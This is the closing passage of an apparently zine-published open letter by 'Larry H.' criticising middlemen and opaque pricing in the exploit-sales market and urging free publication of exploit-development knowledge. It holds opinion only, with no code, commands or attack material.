7. Pricing should be subject to transparency and tighter controls, if only within the market itself, lest speculation and obscurity allow large profit margins to exist undisturbed, while the weakest link in the supply chain is savagely undercut. In an ideal model, offensive capabilities should be priced per their development investment and objective usefulness. Currently the market is adrift with inflated prices. The end buyers and the tax payers deserve better, since after all, it is their money. If a lower tier middleman charges an additional (provided that this figure is honest and there are no subsequent resales to multiple end-buyers) fee of 20% to the requested
price, and higher tier middlemen add unknown fees on top of that sum, by the time the product reaches its intended buyer the value has artificially increased to a point where middleman fees might as well be many times higher than the amount originally requested by the developer. It does not matter if the capability is part of a service package. These capabilities are tools, and without them, there is simply no service to provide. The reason external talent is brought in to develop them is that neither the middlemen nor the end buyers have the in-house resources to do so at the necessary pace. Without transparency or minimal control of pricing, all sense of competition and choice is illusory. There is no such thing as competition in exploit sales.

8. The role of the middlemen (at whichever level they operate) should be open to scrutiny. I have knowledge of instances where a middleman explicitly requested a third-party to develop a capability at a lower cost, immediately following an offer from a different vendor asking for a higher value for the same functionality. Again, this is not competition by any stretch of the word. Oddly, these people proclaim themselves as patriots and defenders of the law. The reality though, is that they are opportunistic hustlers. Nothing else.

In short: the market and its players can’t have it both ways forever. That will only result in failure, whether we can see it or not. Either continue under the radar and enforce what is enforced in organizations operating in that fashion, without abusing obscurity to speculate and inflate prices at the expense of others, or become fully transparent and regulated. If you are only after the money, don’t pretend to be a patriot or some sort of Good Samaritan. Instead, have the guts to tend to the highest bidder and stay loyal only to your own terms. Ultimately, it is clear in the game that only scoundrels describe those opposed to their interests as “evil” and those aligned to their agenda as “good”, twisting the meaning of right or wrong as they see fit.

And that’s all, folks. Perhaps the most unfortunate thing among the detractors of these words will be the fact that they know this is as honest as it gets. I’ve managed to get to this point without naming any of the parties that made this happen (as much as it is the worst kept open secret in the industry, and the entities most responsible for this happening). For the rest of you trying to progressively move away from “disclosure” and into exploit sales, and those who already completed the transition betraying their “responsible disclosure” and “white hat” ethics they defended with such great zeal, better keep in mind you are not joining a feast of friends, but a den of thieves and snakes. For those yielding to the coercion and intimidation, I wish them the best of luck, for the
worst is yet to come, since there are places where yielding to coercion leads to worse things than silence.

Scapegoat and kill the messenger, make an example out of him if you please, only to give the message further momentum. One can only hope that they will have the decency and courage to step into the spotlight and confront their deeds as I did with mine. No matter what happens, somebody will eventually ask “Why”, and the answer will resonate its way back to the people who set this in motion, and they will be held responsible with their hubris-crazed in-nards exposed for everybody to see.

On a different and final note:

We understand that the publication of information on exploit development is done as a service to the public, not only to increase awareness of the state of the art, but also to help the next generation of “hackers”, whichever side of the game they might choose to play in, to learn and share their knowledge freely. Not necessarily pro-bono, but at least contributing to a near-stagnant tradecraft. Without publication, the learning curve will become prohibitively steep, especially today (exploit development has become orders of magnitude more difficult than it was for previous generations). The “old school hackers” had it too easy.

Therefore we would like to encourage people to contribute to long running publications such as Phrack Magazine, or even better, publish independently, instead of purely commercial venues that have become more of a window shopping experience than a legitimate exchange of knowledge. Many have forgotten where they came from in this industry. Even some of them never were part of it to begin with, and they are the most interested on mutilating the free flow of knowledge. This is ultimately harming everyone, on every side of the fence. Non contributing members of the community take without giving, and increase the overhead of our work, which translates to customers paying more without any added value, just like the case of middlemen in exploit sales, despite what they might say to defend their positions. If you observe such behavior at your work place, or you know of individuals privately profiting from your published work (more so for offensive security), please consider exposing them publicly, so both their customers and members of our community find out about the real moral fiber of these people. Revere in connecting with good folk, never offload responsibility of your acts on God or nation politics, never forget that business still involves the human element (and as such, nothing is ever “just business” if you behave like inconsiderate swine) and every now and
then invest some time on being a “living proof to those who need it that the tyranny of ‘the rat race’ is not yet final”. We will outlive the bastards.

Good night and good luck. *Insha’Allah.*

Yours truly,
Larry H.

<P>: coerced into (not?) doing what?
...
<P>: heh, i can imagine how well that will work out knowing you a bit ;P
References


